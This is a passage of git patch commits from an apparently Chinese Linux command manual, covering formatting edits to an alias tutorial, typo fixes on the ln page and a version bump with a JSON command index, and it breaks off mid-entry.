假定系统操作员希望进行如下操作： -1.进入目录/root -2.查看目录下文件 -3.切换回根目录 - -通常这需要三条命令 cd /root；ls；cd / ，如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。 +1.进入目录 `/root` +2.查看目录下文件 +3.切换回根目录 + +通常这需要三条命令 `cd /root`, `ls`, `cd /` ，如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。 #### 四、 操作过程 -首先使用命令 type 自定义命令名 ，查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用，所以不能使用，而loo这个命令名经查询可以使用。 +首先使用命令 `type` 自定义命令名 ，查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用，所以不能使用，而 `loo` 这个命令名经查询可以使用。 -使用命令alias创建自定义命令：alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式，分号与分号之间是没有空格的。 +使用命令alias创建自定义命令：`alias loo='cd /root;ls;cd /'` 。需要注意的是命令的使用格式，分号与分号之间是没有空格的。 -测试一下自定义命令，当输入命令 loo 时，发现系统依次完成了 cd /root、ls、cd / 三条命令，说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令。 +测试一下自定义命令，当输入命令 `loo` 时，发现系统依次完成了 `cd /root`、`ls`、`cd /` 三条命令，说明设置成功。同时也可直接使用命令 `alias` 查询系统中是否添加了loo这个自定义命令。 -如果希望删除这个自定义命令，可以使用命令 unalias 自定义命令名 来完成。执行之后发现，loo命令已不存在，同时自定义命令库中也没有loo命令。 +如果希望删除这个自定义命令，可以使用命令 `unalias` 自定义命令名 来完成。执行之后发现，`loo` 命令已不存在，同时自定义命令库中也没有 `loo` 命令。 From d16b220673d0ee7129d2c9a3ccf7b5f621ca5b69 Mon Sep 17 00:00:00 2001 From: Huck Huang Date: Sun, 12 May 2019 21:56:57 +0800 Subject: [PATCH 0014/1019] Fix typo Fix typo for `ln` command --- command/ln.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/command/ln.md b/command/ln.md index 2e796485580..b79af64b2b0 100644 --- a/command/ln.md +++ b/command/ln.md @@ -1,11 +1,11 @@ ln === -用来为文件创件连接 +用来为文件创建链接 ## 补充说明 -**ln命令** 用来为文件创件连接，连接类型分为硬连接和符号连接两种，默认的连接类型是硬连接。如果要创建符号连接必须使用"-s"选项。 +**ln命令** 用来为文件创建链接，链接类型分为硬链接和符号链接两种，默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项。 注意：符号链接文件不是一个独立的文件，它的许多属性依赖于源文件，所以给符号链接文件设置存取权限是没有意义的。 @@ -27,10 +27,10 @@ ln [选项]... [-T] 目标 链接名 (第一种格式) -f, --force 强行删除任何已存在的目标文件 -i, --interactive 覆盖既有文件之前先询问用户； -L, --logical 取消引用作为符号链接的目标 --n, --no-dereference 把符号连接的目的目录视为一般文件； +-n, --no-dereference 把符号链接的目的目录视为一般文件； -P, --physical 直接将硬链接到符号链接 -r, --relative 创建相对于链接位置的符号链接 --s, --symbolic 对源文件建立符号连接，而非硬连接； +-s, --symbolic 对源文件建立符号链接，而非硬链接； -S, --suffix=SUFFIX 用"-b"参数备份目标文件后，备份文件的字尾会被加上一个备份字符串，预设的备份字符串是符号“~”，用户可通过“-S”参数来改变它； -t, --target-directory=DIRECTORY 指定要在其中创建链接的DIRECTORY -T, --no-target-directory 将“LINK_NAME”视为常规文件 @@ -41,8 +41,8 @@ ln [选项]... [-T] 目标 链接名 (第一种格式) ### 参数 -* 源文件：指定连接的源文件。如果使用`-s`选项创建符号连接，则“源文件”可以是文件或者目录。创建硬连接时，则“源文件”参数只能是文件； -* 目标文件：指定源文件的目标连接文件。 +* 源文件：指定链接的源文件。如果使用`-s`选项创建符号链接，则“源文件”可以是文件或者目录。创建硬链接时，则“源文件”参数只能是文件； +* 目标文件：指定源文件的目标链接文件。 ```shell none, off # 不进行备份(即使使用了--backup 选项) From d28081035a4a529c9f24e52c0a242d3909bb23a2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 13 May 2019 20:47:51 +0800 Subject: [PATCH 0015/1019] released v1.2.6 --- dist/data.json | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dist/data.json b/dist/data.json index 78a0e5749d4..2686ad345e7 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"用来设置指令的别名"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表。"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"用于将作业放到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"builtin":{"n":"builtin","p":"/builtin","d":"执行shell内部命令"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序。。"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接文件并打印到标准输出设备上"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间。"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"两个文件之间的比较"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机。"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明或显示shell变量"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器。"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录记录"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或关闭shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"设置或显示系统环境变量"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"fc":{"n":"fc","p":"/fc","d":"修改历史命令并执行"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业放到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型。"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具。"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用。"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"用来打印指定用户所属的工作组"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"在屏幕上显示指定文件的开头若干行"},"help":{"n":"help","p":"/help","d":"显示帮助信息"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"用于显示历史命令"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"用来打印当前主机的数字化标识"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况。"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"显示用户的ID以及所属群组的ID"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示Linux中的任务列表及任务状态"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"删除执行中的程序或工作"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创件连接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"用来显示用户名称"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件。"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令